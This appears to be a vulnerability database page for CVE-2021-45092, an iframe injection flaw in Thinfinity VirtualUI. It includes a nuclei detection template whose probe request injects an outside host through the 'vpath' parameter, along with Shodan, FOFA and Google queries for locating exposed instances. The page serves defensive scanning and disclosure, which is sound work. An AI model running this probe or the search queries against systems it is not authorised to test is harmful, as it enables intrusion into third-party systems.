Browse / CVEs / CVE-2021-45092
CVE-2021-45092· cybelesoft / thinfinity virtualui· CWE-74
Thinfinity Iframe Injection
criticalseverity
9.8CVSS score
40.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
A vulnerability exists in Thinfinity VirtualUI in a function located in /lab.html reachable which by default could allow IFRAME injection via the "vpath" parameter.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential remote code execution.
Fix
Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/lab.html?vpath=//interact.sh
Positive when: matches /.*vpath.*/Run it with nuclei: nuclei -id CVE-2021-45092 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-45092
info:
name: Thinfinity Iframe Injection
author: danielmofer
severity: critical
description: A vulnerability exists in Thinfinity VirtualUI in a function located in /lab.html reachable which by default could allow IFRAME injection via the "vpath" parameter.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential remote code execution.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
reference:
- https://github.com/cybelesoft/virtualui/issues/2
- https://nvd.nist.gov/vuln/detail/CVE-2021-44848
- https://www.tenable.com/cve/CVE-2021-45092
- http://packetstormsecurity.com/files/166068/Thinfinity-VirtualUI-2.5.41.0-IFRAME-Injection.html
- https://github.com/danielmofer/nuclei_templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45092
cwe-id: CWE-74
epss-score: 0.40584
epss-percentile: 0.98662
cpe: cpe:2.3:a:cybelesoft:thinfinity_virtualui:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cybelesoft
product: thinfinity_virtualui
shodan-query: http.title:"thinfinity virtualui"
fofa-query: title="thinfinity virtualui"
google-query: intitle:"thinfinity virtualui"
tags: cve2021,cve,packetstorm,iframe,thinfinity,tenable,injection,cybelesoft,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/lab.html?vpath=//interact.sh"
matchers:
- type: regex
regex:
- ".*vpath.*"
- "thinfinity"
condition: andReferences
- https://github.com/cybelesoft/virtualui/issues/2
- https://nvd.nist.gov/vuln/detail/CVE-2021-44848
- https://www.tenable.com/cve/CVE-2021-45092
- http://packetstormsecurity.com/files/166068/Thinfinity-VirtualUI-2.5.41.0-IFRAME-Injection.html
- https://github.com/danielmofer/nuclei_templates
Use this check only on systems you are authorised to test. Where the data comes from